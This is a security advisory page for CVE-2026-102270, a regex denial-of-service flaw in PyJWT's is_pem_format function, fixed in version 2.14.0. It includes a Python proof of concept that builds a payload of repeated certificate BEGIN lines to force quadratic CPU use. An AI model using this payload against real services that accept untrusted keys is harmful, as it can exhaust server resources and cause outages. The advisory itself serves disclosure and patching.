Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
MEDIUM severity

CVE-2026-102270 — pyjwt

MEDIUMFix: jpadilla/pyjwt@8b4e233

CVE-2026-102270 is a medium-severity (CVSS 4.4) CWE-1333 vulnerability in pyjwt. A fix is available for pyjwt — see the affected versions and patch details below.

PyJWT: ReDoS vulnerability when calling the `is_pem_format` function.

Also known asGHSA-jwrc-g2q2-pq5pPYSEC-2026-4148
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 22, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-102270.

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk+0.02%
Lower risk than most CVEs11th percentile — riskier than 11% of all scored CVEsHighest risk
0.00%0.24%0.47%0.71%0.2%0.2%Oct 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

CVE-2026-102270 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 394,803 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected
🐍pyjwt

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

There is a Re-DoS vulnerability in the is_pem_format function which results in a intesive CPU usage if an attacker is been able to provide a custom certificate.

Details

The problem is that the lazy quantifier .+? will always first try to match as little as possible until it finds a ---- END. Normally this means the complexity of this should be O(N). However, by providing an input which consists only of ----BEGIN CERTIFICATE----- lines and no ---- END line, the regex algorithm will first try to match the first line and then, with the lazy quantifier, all the lines until the end O(N), which then fails since it is unable to find a ---- END line. It will then jump to the next line, resulting in N re-scans of the whole string, which means the complexity basically results in O(N²).

PoC

import time
import re


BEGIN_LINE = b"-----BEGIN CERTIFICATE-----\n"

_PEMS = {
    b"CERTIFICATE",
    b"TRUSTED CERTIFICATE",
    b"PRIVATE KEY",
    b"PUBLIC KEY",
    b"ENCRYPTED PRIVATE KEY",
    b"OPENSSH PRIVATE KEY",
    b"DSA PRIVATE KEY",
    b"RSA PRIVATE KEY",
    b"RSA PUBLIC KEY",
    b"EC PRIVATE KEY",
    b"DH PARAMETERS",
    b"NEW CERTIFICATE REQUEST",
    b"CERTIFICATE REQUEST",
    b"SSH2 PUBLIC KEY",
    b"SSH2 ENCRYPTED PRIVATE KEY",
    b"X509 CRL",
}

_PEM_RE = re.compile(
    b"----[- ]BEGIN ("
    + b"|".join(_PEMS)
    + b""")[- ]----\r?
.+?\r?
----[- ]END \\1[- ]----\r?\n?""",
    re.DOTALL,
)


def is_pem_format(key: bytes) -> bool:
    return bool(_PEM_RE.search(key))


def make_payload(num_headers: int) -> bytes:
    return BEGIN_LINE * num_headers


def measure(num_headers: int) -> float:
    payload = make_payload(num_headers)
    start = time.perf_counter()
    is_pem_format(payload)  # returns False, but burns CPU getting there
    elapsed = time.perf_counter() - start
    print(
        f"  headers={num_headers:>4}  size={len(payload)//1024:>3} KB"
        f"   time={elapsed*1000:>7.1f} ms"
    )
    return elapsed


for n in (1000, 2000, 4000, 8000):
    measure(n)

Impact

The attacker could use extensive resources, which could make the resource (e.g. a web server) unavailable.

Maintainer update (2026-09-10):

We reproduced the reported quadratic regex behavior on malformed PEM-like input: doubling repeated BEGIN lines produced approximately fourfold runtime growth, while equal-sized ordinary input remained negligible. The affected path is reached when an application passes attacker-controlled key or certificate bytes to PyJWT’s key preparation, and the impact is resource exhaustion. The fix is on master in commit 8b4e233a22206b34ec1186e912e75c0b2396ac07; it replaces the backtracking PEM regex with a bounded marker scan. Fresh Astra/max review accepted the fix and confirmed malformed, mixed-label, and valid-input controls. This is a distinct ReDoS finding from the later PEM-recognition report that shares the implementation commit. The fix has not yet shipped in a released PyJWT 2.x version, so this advisory is being moved to draft and remains unpublished pending release.

Maintainer update — 2026-09-11

The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with the release recorded as the patched version.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIpyjwtall versions2.14.0pip install --upgrade 'pyjwt==2.14.0'

Affected Products

1 product · 1 configurations
Application
pyjwtpyjwt_project
< 2.14.0
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pyjwt, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update pyjwt to 2.14.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-102270 is resolved across your whole dependency graph.

  3. Workarounds

    Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatModerate

This vulnerability is rated as Moderate because although an attacker can trigger CPU exhaustion leading to denial of service, successful exploitation requires an application to accept and parse untrusted, attacker-supplied key or certificate input. In standard Red Hat product configurations, cryptographic verification…

Workaround published by Red Hat
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.
Source: Red Hat security advisory for CVE-2026-102270 (CC BY 4.0)
ProductFixed inAdvisory
Red Hat AI Inference Server 3.5rhaii/vllm-rocm-rhel9:1791425869RHSA-2026:82059
Red Hat AI Inference Server 3.5rhaii/vllm-gaudi-rhel9:1791427182RHSA-2026:82061
Red Hat AI Inference Server 3.5rhaii/vllm-cuda-rhel9:1791473631RHSA-2026:82368
Red Hat AI Inference Server 3.5rhaii/vllm-spyre-rhel9:1791818357RHSA-2026:82371
Red Hat AI Inference Server 3.5rhaii/vllm-cpu-rhel9:1791473614RHSA-2026:82415

Frequently Asked Questions

### Summary There is a Re-DoS vulnerability in the `is_pem_format` function which results in a intesive CPU usage if an attacker is been able to provide a custom certificate. ### Details The problem is that the lazy quantifier `.+?` will always first try to match as little as possible until it finds a `---- END`. Normally this means the complexity of this should be O(N). However, by providing an input which consists only of `----BEGIN CERTIFICATE-----` lines and no `---- END` line, the regex algorithm will first try to match the first line and then, with the lazy quantifier, all the lines un
O3 Security · Impact-Aware SCA

Is CVE-2026-102270 in your dependencies?

Find it across PyPI, including transitive dependencies.

CVE-2026-102270: pyjwt DoS — Fixed in 2.14.0